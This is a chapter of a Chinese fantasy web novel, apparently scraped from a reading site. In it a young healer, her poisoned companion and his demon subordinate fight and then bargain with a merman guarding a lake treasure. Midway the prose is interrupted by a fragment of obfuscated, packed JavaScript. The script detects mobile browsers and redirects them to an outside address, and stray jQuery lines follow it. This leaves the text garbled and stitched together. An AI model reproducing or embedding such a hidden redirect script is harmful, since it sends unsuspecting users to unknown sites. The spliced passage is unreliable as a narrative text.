15. 月湖

作品:《女配今天也在苟命

    这似乎是一只鲛人。


    鲛人的身体与人类相仿,他身形修长,身姿挺拔,比起人类而言更显得高挑,下半身在水中若隐若现的鱼尾,布满绚丽的鳞片。


    尤其是他的脸,长得格外好看,是聿听见过除谢重遥以外最好看的面容,但她还是觉得谢重遥更好看些。


    鲛人的皮肤光滑细腻,眉心带着淡淡的鲛人族印记,唇外突出两颗牙齿,耳朵大如鱼鳍,活生生像个异族温润公子。但谢重遥不一样,他眉眼清冷,下颌锋利,瞳孔是紫黑色,余下拒人千里的淡漠,一张帅脸上常常挂着“离老子远点否则老子立马弄死你”这几个大字。


    但聿听只听说过海里会有鲛人的存在,原来湖泊中亦会有。


    这鲛人形影单只,极为孤单地生活在月湖,没有族人,也没有朋友。


    不过唐咎可不管他是不是孤单的温润公子。


    自家狗王八蛋发话要用湖心之眼边上那枚灵过缓解毒素,就算天塌下来自己也得给他取来。


    “碍眼的破鱼,应该是你滚开!”


    唐咎抬手擦掉面上的水珠,顿时妖力迸发,手中凝结出一团充斥着妖气的法球,朝鲛人所在的位置袭去。


    鲛人也不甘示弱,随着他一声爆喝,水面应声卷起,形成一堵水帘,抵挡对方的攻击。


    “轰——”


    水花飞溅,打湿了远处观战之人的发丝。


    聿听识相地拉着谢重遥后退两步,不干涉他们二人的斗争,她修为尚浅不说,身体里那些微乎其微的灵力她还不太会用,躲远点总比凑上去给他添麻烦好。谢重遥也是如此,病人就该好好养病,不宜乱动。


    月湖上两只妖打得水深火热,溅起的水花有三丈高。


    三番五次进攻却也难以靠近湖心之眼,唐咎的侧脸被划出一道口子,左肩也被水刺穿,鲜血滴入月湖中,将湖水的颜色染深。鲛人也没有好到哪里去,虽说他修为不低,却也只能和唐咎打个平手,身上鳞片被对方掰下来几个,可谓是钻心的疼。


    胜负难分。


    第六次发起进攻时,鲛人的余光瞥见岸边的一位姑娘。


    从她身上所散发出的气息能感知她的修为不强,并且看她的模样,的确不像是强者,另一个男子盘腿坐在她的身边,看上去像是受了重伤,在闭目养神中。


    他立刻改变攻击方向,在唐咎面前虚晃一招,铺天盖地的浪花悬至空中,凝成一枚巨大的钉子,瞄准岸上的方向。


    岸上的姑娘未察觉危险悄然降临,还在试图调出体内的灵力来规避溅起的水花。


    待聿听发现攻击目标变成自己时,乱晃的手停还留在空中,瞬间傻了眼。


    等等,不是他们俩在打架吗,怎么还能伤及无辜的?


    她这躲得还不算远吗??


    由水凝成的钉子飞速袭来,饶是修为低下的聿听也能明显感受到“水”中赤裸裸的压迫感。


    平静温和如水,在绝对的力量下,也能变得极具攻击性。


    聿听下意识想躲,却发现谢重遥仿佛丝毫没有察觉到危险将至,嘴唇毫无血色的他,依旧闭着眼坐在原地一动不动。


    而她,根本就来不及躲开。


    攻击落下的前一刻,她心里只想了一件事,就是稍微保护下病人,别死得比病人还要早。


    于是她心一横,挪到谢重遥面前。


    反正往哪跑都会被击中,就勉为其难给他挡一点点吧。


    ……


    聿听已经想象到了。


    什么血溅三尺,什么抽筋拔骨之痛等等,毕竟鲛人修为不低,这么大阵仗的攻击落在身上,怎么说也得伤个七七八八。


    但除了吹来的风让她觉得有些寒意之外,再无其它。


    想象中的疼痛也没有出现。


    她试探性地睁开一只眼,发现自己身处于半空中,没有血腥的场面出现,就连自己的衣裳也未被打湿。


    有点不科学。


    她下意识扭头,寻找谢重遥的身影,才发现谢重遥正站在月湖之中,眸光冷到极点。


    刚刚是他救了她?


    他手指掐住鲛人的脖颈,鲛人喉中发出低吼声。


    “松手!!”


    聿听顺着声音看去,竟是先前和鲛人打得不可开交的唐咎所喊的。


    “你他爹的松手!”他连自身的伤势都不顾,迅速跃至谢重遥身前,用尽全力迫使他放手,“你不要命了?毒素本就扩散至你的筋脉之中,你还敢这般妄用灵力?”


    谢重遥冷笑:“什么猫猫狗狗都敢在我面前晃,我杀他又何妨?”


    “那也得我来杀!你滚一边去歇着!”


    他双手握在谢重遥手腕上,防止这狗比胡乱动用灵力。


    争执之下,鲛人终于从他手中挣脱,一头扎进月湖之中,而后又在距离他们数米远的地方探出头。


    他原本白净的脸色多了一抹红,是被掐出来的。


    “我虽不记得以往之事,但守护湖心之眼是我的宿命。人类贪婪狡诈,企图能得到它,它本就不属于你们。今日我便将话放在此,要取湖心之眼,便从我的尸体上跨过,而我一旦殒命,湖心之眼便会立刻失去生机,成为一块无用的石头。”


    不远处谢重遥已经将唐咎甩入湖水中。


    悬在空中的聿听也终于知道怎么控制身体里的灵力,她划拉几下空气,才缓缓落地。


    鲛人误认为他们是来抢夺湖心之眼的贼人了。


    而谢重遥站在不远处,面色阴鸷,给人一种下一秒就要闪现到跟前,掐断鲛人脖子的感觉。按照他的性子,自然不会仔细去听鲛人说的话。


    她赶紧小跑到他身边,攥住他的衣袖,以防他从她面前闪现。


    “误会,人鱼大哥,误会一场。”她急忙开口解释,“我们不是来抢湖心之眼的,而是我的朋友中了剧毒,想取湖心之眼孕育出的那枚灵果来缓解毒性罢了。”


    谢重遥对她的决定颇为不满,看上去有些烦躁。


    聿听:……


    虽然知道修真世界以强者为尊,但他这也太霸道了吧!如果他生活在法制社会,早就被人一枪毙了。


    她按住谢重遥的手以示安抚,又耐心地对鲛人道:“湖心之眼的灵果还能再生,但他的命只有一条,没了就是真的没了。人鱼大哥,咱们各退一步行不行?”


    “灵果虽不及湖心之眼珍贵,却也是可遇不可求的珍宝,若你执意要取,就拿同等价值之物来换便是。”


    鲛人没有拒绝!她心中一喜。


    不过同等价值之物,她似乎拿不出来……


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002935|193761||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >谢重遥是个穷比,唐咎是穷比的手下,更穷,而她自己也没点拿得出手的东西做交换。她本想唤醒沉睡已久的系统,忽然想起鲛人方才所说的话。


    不记得以往之事,简而言之,就是失忆嘛!


    刚好她是修真世界的医生呀,说不定能治好他呢?


    “若我能将你的记忆恢复,能否将灵果赠予我们?”


    鲛人犹豫片刻,答应了她。


    达成交易关系后,谢重遥冷着张脸回到岸边,继续打坐。


    唐咎从水里爬出来,像只落汤鸡一般,他心中纳闷,这狗比什么时候这么好说话了?自己刚刚喊他别乱用灵力,可是被一掌拍进湖底的。


    聿听还处于月湖中。


    湖水已经将她的衣裳全部打湿,碎发贴在脸颊上,冻得她牙齿打颤,她也无心顾及。


    “系统!系统!”她在脑海里疯狂呼喊系统,“别睡了,快醒醒,告诉我怎么炼治疗失忆的丹药!”


    系统被她吵的头疼:“你之前看过的,那本书第四百六十七页有写。”


    四百六十七页……


    她努力回想一番,脑中终于有了印象。


    好像是取来失忆者身上任意的部分,再加上药修的血进行炼化。


    她那时候还感慨来着,在这个修真世界中,药修的血能包治百病,而药修本人就是行走的药囊。


    要从鲛人身上取走任意部分带有他气息之物,聿听看着他的身子犯难,总不能贸然上前拔他头发吧?


    鲛人等得有些不耐烦了,换了个舒适的姿势浮在水面上。


    聿听看见他露出水面那截鱼尾有几块光秃秃的地方,是在方才的打斗中,被唐咎徒手掰下来的鳞片。


    她快速转身上岸,在岸边捡起唐咎随手扔掉的鳞片,在用鳞片划开锁骨处的伤口——被谢重遥咬出的伤口。


    血液将鳞片染红,周围弥漫出淡淡的血腥味,她紧咬牙关,释放出体内的灵力,对此加以炼化。


    半晌之后,被灵力托在半空中的鳞片消失。


    取而代之的是一颗极小的圆形丹药。


    小小一颗,耗费了她不少力气。


    谢重遥对她此时身体的虚弱嗤之以鼻,明明有更快更简单的方法,她偏偏要选个最麻烦的,得不偿失。


    这药修简直愚蠢到了极点。


    鲛人接过丹药,半信半疑放入口中,咽前又重复了一句“别耍花招,若我死了湖心之眼也会失灵”。


    他见识过太多人性的狡诈,但恢复记忆一事于他而言,诱惑力太强。守护在月湖的每日,他都费尽心思去想那段被遗忘的记忆,却从未成功过。


    况且三人之中最不起眼的那个男人,能轻而易举破了他的攻势,想必不是善茬,若真的打起来自己毫无胜算。


    只能选择相信这个姑娘的话。


    丹药下肚,他感到肚腹中传来一股灼烧感,好似有团焰火在他的腹部乱撞。冷汗遍布他的额头,他咬牙切齿看向聿听,身后的浪花再度卷起一丈之高。


    这个人……这个人果然耍花样了!


    灼烧感转缓缓移至额头,他眉心的印记忽明忽暗。


    然而下一秒,铺天盖地的碎片涌入脑中,拼凑成一个又一个的画面。


    ——是属于鲛人族的记忆。